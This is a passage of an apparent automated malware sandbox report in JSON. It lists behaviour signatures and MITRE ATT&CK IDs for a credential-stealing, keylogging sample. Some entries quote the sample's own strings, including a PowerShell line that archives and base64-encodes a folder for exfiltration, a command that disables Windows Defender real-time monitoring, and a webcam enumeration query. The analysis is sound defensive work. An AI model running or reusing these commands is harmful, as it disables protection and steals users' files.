00000000-00006268.00000000.222670.3BD59000.00000004.mdmp, 00000000-00006900.00000000.224254.3BD59000.00000004.mdmp, 00000000-00007960.00000000.222110.E6890000.00000004.mdmp\")\n Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; Source: \"00000000-00004528.00000000.218376.34CD9000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-306","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to load/free library (API string)","description":"$29","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-318","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to modify data representation (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Export-ModuleMember\"; File: \"AMSI\")","origin":"File/Memory","mitre_attack_id":"T1565","relevance":1,"id":"string-366","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to perform Base64 encoding/decoding","description":"$2a","origin":"File/Memory","mitre_attack_id":"T1132","relevance":1,"id":"string-338","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to use Cryptographic classes","description":"Found reference to \"HashAlgorithm\" (Indicator: \"HashAlgorithm\"; Source: \"00000000-00007296-00000BC0-2319928860\")\n Found reference to \"SA/SHA384\" (Indicator: \"SHA384\"; Source: \"00000000-00005376.00000000.215589.28AB0000.00000004.mdmp, 00000000-00005376.00000001.215842.28AB0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":2,"id":"string-138","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains strings related to AMSI (Anti Malware Scan Interface)","description":"Observed string: \":\\WINDOWS\\SYSTEM32\\amsi.dll\" (Indicator: \"amsi.dll\") in Source: 00000000-00005376.00000000.215589.28AB0000.00000004.mdmp\n 00000000-00005376.00000001.215842.28AB0000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1562.001","relevance":1,"id":"string-231","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Observed a high volume of repeated registry API calls (API Hammering)","description":"$2b","origin":"Registry Access","mitre_attack_id":"T1497","relevance":7,"id":"registry-215","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Queries process information","description":"$2c","origin":"API Call","mitre_attack_id":"T1057","relevance":4,"id":"api-9","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to check debugger is running (API string)","description":"Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; File: \"44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-183","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (API string)","description":"Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"SetUnhandledExceptionFilter\"; File: \"44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin\")\n Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; File: \"44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-148","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"PE file contains zero-sized sections","description":"Raw size of \".bss\" is zero","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-5","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to access crypto-related API (String)","description":"Found reference to API \"CryptUnprotectData\" (Indicator: \"CryptUnprotectData\"; File: \"44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin\")\n Found reference to API \"CryptUnprotectData\" (Indicator: \"CryptUnprotectData\"; Source: \"00000000-00004712.00000000.221050.3BD59000.00000004.mdmp, 00000000-00005556.00000000.221580.F5550000.00000004.mdmp, 00000000-00006268.00000000.222670.3BD59000.00000004.mdmp, 00000000-00006900.00000000.224254.3BD59000.00000004.mdmp, 00000000-00007960.00000000.222110.E6890000.00000004.mdmp\")\n Found reference to API \"CryptUnprotectData\" (Indicator: \"CryptUnprotectData\"; Source: \"00000000-00004528.00000000.218376.34CD9000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-920","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to compress file/directory using PowerShell cmdlet","description":"Found string \"$z=[IO.Path]::GetTempFileName()+'.zip';Compress-Archive -Path '%s\\*' -DestinationPath $z -Force;$b=[Convert]::ToBase64String([IO.File]::ReadAllBytes($z));Remove-Item $z;'DOWNLOAD_DATA:archive.zip:'+$b\" (File: \"44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin\")\n Found string \"$z=[IO.Path]::GetTempFileName()+'.zip';Compress-Archive -Path '%s\\*' -DestinationPath $z -Force;$b=[Convert]::ToBase64String([IO.File]::ReadAllBytes($z));Remove-Item $z;'DOWNLOAD_DATA:archive.zip:'+$b\" (Source: \"00000000-00002464.00000000.220532.3BD34000.00000002.mdmp, 00000000-00005556.00000000.221580.F5550000.00000004.mdmp, 00000000-00007960.00000000.222110.E6890000.00000004.mdmp\")\n Found string \"$z=[IO.Path]::GetTempFileName()+'.zip';Compress-Archive -Path '%s\\*' -DestinationPath $z -Force;$b=[Convert]::ToBase64String([IO.File]::ReadAllBytes($z));Remove-Item $z;'DOWNLOAD_DATA:archive.zip:'+$b\" (Source: \"00000000-00002920.00000000.218957.34CB4000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1560","relevance":1,"id":"string-656","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to decrypt/decode data","description":"Found reference to API \"tripledescryptoserviceprovider\" (Indicator: \"TripleDESCryptoServiceProvider\"; Source: \"00000000-00005376.00000000.215589.4B090000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-356","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to import cryptographic keys (seen in ransomware)","description":"Found api reference \"CryptImportKey\" (Indicator: \"CryptImportKey\"; Source: \"00000000-00003612.00000000.214824.06990000.00000004.mdmp, 00000000-00003612.00000001.216746.06990000.00000004.mdmp, 00000000-00003612.00000002.218663.06990000.00000004.mdmp\")\n Found api reference \"CryptImportKey\" (Indicator: \"CryptImportKey\"; Source: \"00000000-00004168.00000000.216606.DB730000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-603","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to use Microsoft's Enhanced Cryptographic Provider","description":"$2d","origin":"File/Memory","mitre_attack_id":"T1573","relevance":1,"id":"string-602","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to utilize the Windows bcrypt cryptographic API","description":"$2e","origin":"File/Memory","mitre_attack_id":"T1027","relevance":1,"id":"string-927","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains XOR operation loops [Stream disassembly]","description":"$2f","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1027.005","id":"stream-139","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to encrypt/encode message (API string)","description":"Found reference to API \"CryptStringToBinaryA\" (Indicator: \"CryptStringToBinary\"; File: \"44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin\")\n Found reference to API \"CryptStringToBinaryA\" (Indicator: \"CryptStringToBinary\"; Source: \"00000000-00004712.00000000.221050.3BD59000.00000004.mdmp, 00000000-00005556.00000000.221580.F5550000.00000004.mdmp, 00000000-00006268.00000000.222670.3BD59000.00000004.mdmp, 00000000-00006900.00000000.224254.3BD59000.00000004.mdmp, 00000000-00007960.00000000.222110.E6890000.00000004.mdmp\")\n Found reference to API \"CryptStringToBinaryA\" (Indicator: \"CryptStringToBinary\"; Source: \"00000000-00004528.00000000.218376.34CD9000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":1,"id":"string-213","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform AES/RC4 encryption (API string)","description":"$30","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-438","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform decryption (API string)","description":"$31","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-212","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform encryption/decryption using RSA algorithm","description":"Found string \"rsacryptoserviceprovider\" (Indicator: \"RSACryptoServiceProvider\"; Source: \"00000000-00005376.00000000.215589.4B090000.00000004.mdmp\")\n Found string \"psrsacryptoserviceprovider\" (Indicator: \"RSACryptoServiceProvider\"; Source: \"00000000-00005376.00000000.215589.4B110000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1573.002","relevance":1,"id":"string-352","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains key cryptographic functions (API string)","description":"$32","origin":"File/Memory","mitre_attack_id":"T1027","relevance":1,"id":"string-195","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains reference to cryptographic keys","description":"Found string \"ncrypted Private Key\" (Indicator: \"private key\"; Source: \"00000000-00005376.00000000.215589.28AB0000.00000004.mdmp, 00000000-00005376.00000001.215842.28AB0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-280","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"level":"informative","category":"Cryptographic Related","name":"Imports crypto-related APIs","description":"Observed import api \"CryptUnprotectData\" which can \"perform decryption and does an integrity check of the data\" [Source: 44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin]","origin":"Static Parser","mitre_attack_id":"T1486","relevance":1,"id":"static-82","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: Contains ability to perform Base64 encoding/decoding\n Matched sigs: Contains XOR operation loops [Stream disassembly]\n Matched sigs: YARA signature match - PowerShell with Base64 encoding","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"$33","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to use encryption for command and control traffic","description":"The analysis shows use of encryption\n use of http/https that can be used to send encrypted data on command and control server. Matched sigs: Contains XOR operation loops [Stream disassembly]","origin":"Indicator Combinations","mitre_attack_id":"T1573.001","relevance":1,"id":"summary-31","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"level":"informative","category":"Environment Awareness","name":"Able to access user sensitive domain","description":"Found string \"$url='https://github.com/BtbN/FFmpeg-Builds/releases/download/latest/ffmpeg-master-latest-win64-gpl.zip'\" (Indicator: \"github.com\"; File: \"44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin\")\n Found string \"$url='https://github.com/BtbN/FFmpeg-Builds/releases/download/latest/ffmpeg-master-latest-win64-gpl.zip'\" (Indicator: \"github.com\"; Source: \"00000000-00002464.00000000.220532.3BD34000.00000002.mdmp, 00000000-00005556.00000000.221580.F5550000.00000004.mdmp, 00000000-00007960.00000000.222110.E6890000.00000004.mdmp\")\n Found string \"$url='https://github.com/BtbN/FFmpeg-Builds/releases/download/latest/ffmpeg-master-latest-win64-gpl.zip'\" (Indicator: \"github.com\"; Source: \"00000000-00002920.00000000.218957.34CB4000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1590","relevance":1,"id":"string-761","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"level":"informative","category":"Environment Awareness","name":"Able to enumerate system processes using native API","description":"Found reference to API \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00007296-00000C2C-2320730846\")\n Found reference to API \"NtQuerySystemInformationW\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00007296-00000C2C-2321899993\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-907","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"level":"informative","category":"Environment Awareness","name":"Able to gather system information (.NET)","description":"$34","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-937","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using API string","description":"Found string \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00007296-00000C2C-2320730846\")\n Found string \"NtQuerySystemInformationW\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00007296-00000C2C-2321899993\")","origin":"File/Memory","mitre_attack_id":"T1497.001","relevance":1,"id":"string-659","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment using user register activity","description":"Found string \"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\" (Indicator: \"software\\microsoft\\windows\\currentversion\\uninstall\"; File: \"44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin\")\n Found string \"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\" (Indicator: \"software\\microsoft\\windows\\currentversion\\uninstall\"; Source: \"00000000-00002464.00000000.220532.3BD34000.00000002.mdmp, 00000000-00005556.00000000.221580.F5550000.00000004.mdmp, 00000000-00007960.00000000.222110.E6890000.00000004.mdmp\")\n Found string \"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\" (Indicator: \"software\\microsoft\\windows\\currentversion\\uninstall\"; Source: \"00000000-00002920.00000000.218957.34CB4000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.002","relevance":1,"id":"string-663","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query security token membership for user discovery (API string)","description":"Found reference to API \"AllocateAndInitializeSid\" (Indicator: \"AllocateAndInitializeSid\"; Source: \"00000000-00007296-00000C2C-2319748552\")\n Found reference to API \"FreeSid\" (Indicator: \"FreeSid\"; Source: \"00000000-00007296-00000C2C-2319749012\")\n Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00007296-00000C2C-2322309504\")\n Found reference to API \"CheckTokenMembershipW\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00007296-00000C2C-2322309529\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-908","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve browser cookies data","description":"$35","origin":"File/Memory","mitre_attack_id":"T1539","relevance":1,"id":"string-5058","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve file and directory information","description":"$36","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-726","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve geographical location information","description":"Found reference to API \"getaddrinfo\" (Indicator: \"getaddrinfo\"; File: \"44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin\")\n Found reference to API \"getaddrinfo\" (Indicator: \"getaddrinfo\"; Source: \"00000000-00005556.00000000.221580.F5550000.00000004.mdmp, 00000000-00007960.00000000.222110.E6890000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-739","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve information about the current system (API string)","description":"$37","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"level":"informative","category":"Environment Awareness","name":"Able to visualize and control listed components (API string)","description":"$38","origin":"File/Memory","mitre_attack_id":"T1055.015","relevance":1,"id":"string-721","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques","description":"\"nul\" (Indicator: \"dir \"; File: \"44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin\")\n Found string \"dir /s /b \"%s\" 2>nul\" (Indicator: \"dir \"; Source: \"00000000-00002464.00000000.220532.3BD34000.00000002.mdmp, 00000000-00005556.00000000.221580.F5550000.00000004.mdmp, 00000000-00007960.00000000.222110.E6890000.00000004.mdmp\")\n Found string \"dir /s /b \"%s\" 2>nul\" (Indicator: \"dir \"; Source: \"00000000-00002920.00000000.218957.34CB4000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-328","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve processes (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Get-Process\"; File: \"44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin\")\n file/memory contains long string with (Indicator: \"Get-Process\"; Source: \"00000000-00002464.00000000.220532.3BD34000.00000002.mdmp, 00000000-00005556.00000000.221580.F5550000.00000004.mdmp, 00000000-00007960.00000000.222110.E6890000.00000004.mdmp\")\n file/memory contains long string with (Indicator: \"Get-Process\"; Source: \"00000000-00002920.00000000.218957.34CB4000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-291","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve specified item(s) (Powershell command string)","description":"$74","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-394","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the NetBIOS name of the local computer (API string)","description":"Found reference to API \"GetComputerNameA\" (Indicator: \"GetComputerName\"; File: \"44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin\")\n Found reference to API \"GetComputerNameA\" (Indicator: \"GetComputerName\"; Source: \"00000000-00004712.00000000.221050.3BD59000.00000004.mdmp, 00000000-00005556.00000000.221580.F5550000.00000004.mdmp, 00000000-00006268.00000000.222670.3BD59000.00000004.mdmp, 00000000-00006900.00000000.224254.3BD59000.00000004.mdmp, 00000000-00007960.00000000.222110.E6890000.00000004.mdmp\")\n Found reference to API \"GetComputerNameA\" (Indicator: \"GetComputerName\"; Source: \"00000000-00004528.00000000.218376.34CD9000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-122","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the fully qualified path of module (API string)","description":"$75","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-164","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the specified system metric or system configuration setting (API string)","description":"Found reference to API \"GetSystemMetrics\" (Indicator: \"GetSystemMetrics\"; File: \"44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin\")\n Found reference to API \"GetSystemMetrics\" (Indicator: \"GetSystemMetrics\"; Source: \"00000000-00005556.00000000.221580.F5550000.00000004.mdmp, 00000000-00007960.00000000.222110.E6890000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-131","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the time elapsed since the system was started (API string)","description":"Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; File: \"44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin\")\n Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"00000000-00004712.00000000.221050.3BD59000.00000004.mdmp, 00000000-00005556.00000000.221580.F5550000.00000004.mdmp, 00000000-00006268.00000000.222670.3BD59000.00000004.mdmp, 00000000-00006900.00000000.224254.3BD59000.00000004.mdmp, 00000000-00007960.00000000.222110.E6890000.00000004.mdmp\")\n Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"00000000-00004528.00000000.218376.34CD9000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-205","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains string like password/secret","description":"$76","origin":"File/Memory","mitre_attack_id":"T1555","relevance":1,"id":"string-475","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found registry key string for installed applications","description":"$77","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-96","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found string related to Windows Vault/Credentials location","description":"$78","origin":"File/Memory","mitre_attack_id":"T1555.004","relevance":3,"id":"string-197","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found strings related to keylogger","description":"Found string \"[TAB]\" (Indicator: \"[tab]\"; File: \"44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin\")\n Found string \"[TAB]\" (Indicator: \"[tab]\"; Source: \"00000000-00002464.00000000.220532.3BD34000.00000002.mdmp, 00000000-00005556.00000000.221580.F5550000.00000004.mdmp, 00000000-00007960.00000000.222110.E6890000.00000004.mdmp\")\n Found string \"[TAB]\" (Indicator: \"[tab]\"; Source: \"00000000-00002920.00000000.218957.34CB4000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1056.001","relevance":1,"id":"string-556","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found system command-related strings","description":"$79","origin":"File/Memory","mitre_attack_id":"T1082","relevance":7,"id":"string-126","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Reads system-defined device setup information from registry","description":"\"CertEnrollMonitor.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\CLASS\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0002\"; Key: \"PRUNINGMODE\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-106","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"References to WMI query strings used for information discovery","description":"Found string \"if($cams.Count -eq 0){Get-CimInstance Win32_PnPEntity -EA SilentlyContinue|?{$_.Name -match 'cam|web|video|droid|epoc|ivcam|iriun'}|ForEach-Object{$cams+=$_.Name}}\" (Indicator: \" Win32_PnPEntity\"; File: \"44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin\")\n Found string \"if($cams.Count -eq 0){Get-CimInstance Win32_PnPEntity -EA SilentlyContinue|?{$_.Name -match 'cam|web|video|droid|epoc|ivcam|iriun'}|ForEach-Object{$cams+=$_.Name}}\" (Indicator: \" Win32_PnPEntity\"; Source: \"00000000-00002464.00000000.220532.3BD34000.00000002.mdmp, 00000000-00005556.00000000.221580.F5550000.00000004.mdmp, 00000000-00007960.00000000.222110.E6890000.00000004.mdmp\")\n Found string \"if($cams.Count -eq 0){Get-CimInstance Win32_PnPEntity -EA SilentlyContinue|?{$_.Name -match 'cam|web|video|droid|epoc|ivcam|iriun'}|ForEach-Object{$cams+=$_.Name}}\" (Indicator: \" Win32_PnPEntity\"; Source: \"00000000-00002920.00000000.218957.34CB4000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-507","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Retrieves specified items using PowerShell","description":"$7a","origin":"Monitored Target","mitre_attack_id":"T1082","relevance":1,"id":"target-477","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"level":"informative","category":"System Security","name":"Able to delete registry key/value (API string)","description":"$7b","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-230","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"level":"informative","category":"System Security","name":"Calls an API typically used to enable or disable privileges in the specified access token","description":"\"powershell.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00007296)\n \"powershell.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00005376)\n \"powershell.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00007916)","origin":"API Call","mitre_attack_id":"T1134","relevance":3,"id":"api-111","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"level":"informative","category":"System Security","name":"Calls an API used to open a process handle","description":"Observed import api \"OpenProcess\" which can be \"used to open a process handle\" [Source: 44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin]","origin":"Static Parser","mitre_attack_id":"T1489","relevance":5,"id":"static-191","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"level":"informative","category":"System Security","name":"Contains ability to access device drivers","description":"$7c","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-474","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"level":"informative","category":"System Security","name":"Contains ability to create process with token (API string)","description":"Found reference to API \"ImpersonateLoggedOnUser\" (Indicator: \"ImpersonateLoggedOnUser\"; File: \"44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin\")","origin":"File/Memory","mitre_attack_id":"T1134.002","relevance":1,"id":"string-168","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete files/directories (API string)","description":"$7d","origin":"File/Memory","mitre_attack_id":"T1070.004","relevance":1,"id":"string-308","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"level":"informative","category":"System Security","name":"Contains ability to disable Windows Defender using PowerShell","description":"Found string \"Set-MpPreference -DisableRealtimeMonitoring $true -EA SilentlyContinue;'Defender realtime monitoring disabled'\" (Indicator: \"disablerealtimemonitoring\"; File: \"44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin\")\n Found string \"Set-MpPreference -DisableRealtimeMonitoring $true -EA SilentlyContinue;'Defender realtime monitoring disabled'\" (Indicator: \"disablerealtimemonitoring\"; Source: \"00000000-00002464.00000000.220532.3BD34000.00000002.mdmp, 00000000-00005556.00000000.221580.F5550000.00000004.mdmp, 00000000-00007960.00000000.222110.E6890000.00000004.mdmp\")\n Found string \"Set-MpPreference -DisableRealtimeMonitoring $true -EA SilentlyContinue;'Defender realtime monitoring disabled'\" (Indicator: \"disablerealtimemonitoring\"; 